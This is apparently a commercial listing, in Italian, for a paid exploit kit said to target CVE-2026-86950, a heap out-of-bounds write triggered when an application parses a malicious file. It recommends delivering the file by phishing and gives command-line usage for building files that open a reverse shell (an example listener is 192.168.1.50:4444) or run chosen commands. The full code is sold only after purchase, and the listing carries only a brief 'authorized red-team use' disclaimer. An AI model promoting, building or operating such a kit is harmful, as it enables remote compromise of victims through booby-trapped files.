Genera file malevoli che attivano una corruzione dell'heap tramite out-of-bounds write (CWE-787) relativa a CVE-2026-86950, con opzioni di reverse shell, esecuzione di comandi o payload personalizzati.
CVE-2026-86950 (CWE-787).
Scrittura fuori limite durante l'analisi di un file appositamente costruito. La mancanza di controlli sui limiti dei campi di dimensione/offset consente una corruzione controllata dell'heap quando l'applicazione di destinazione elabora il file.
Un attaccante non autenticato consegna il file (email, download, condivisione). È richiesta l'interazione dell'utente (apertura/elaborazione). Il codice viene eseguito con i privilegi dell'applicazione che esegue l'analisi.
Utile per campagne di phishing/spear-phishing red-team, accesso iniziale sugli endpoint ed esecuzione controllata di codice senza autenticazione di rete.
Dopo l'acquisto ricevi l'archivio completo del pacchetto.
Estrai e installa le dipendenze:
pip install -r requirements.txt
python exploit.py [options]
-o, --output <file> Output malicious file (required)
-p, --payload <type> reverse | cmd | custom (default: reverse)
-L, --lhost <ip> Listener IP (for reverse)
-P, --lport <port> Listener port (for reverse)
-c, --cmd <command> Single command to execute
--arch x64|x86 Target architecture (default: x64)
Esempio (reverse shell):
python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444
Esempio (comando one-shot):
python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"
Consegna il file generato al target. Quando viene aperto/elaborato dall'applicazione vulnerabile, la scrittura fuori limite viene attivata e il payload viene eseguito.
Solo per uso autorizzato in red-team / penetration testing. L'uso non autorizzato è illegale.
Pacchetto completo disponibile solo dopo l'acquisto.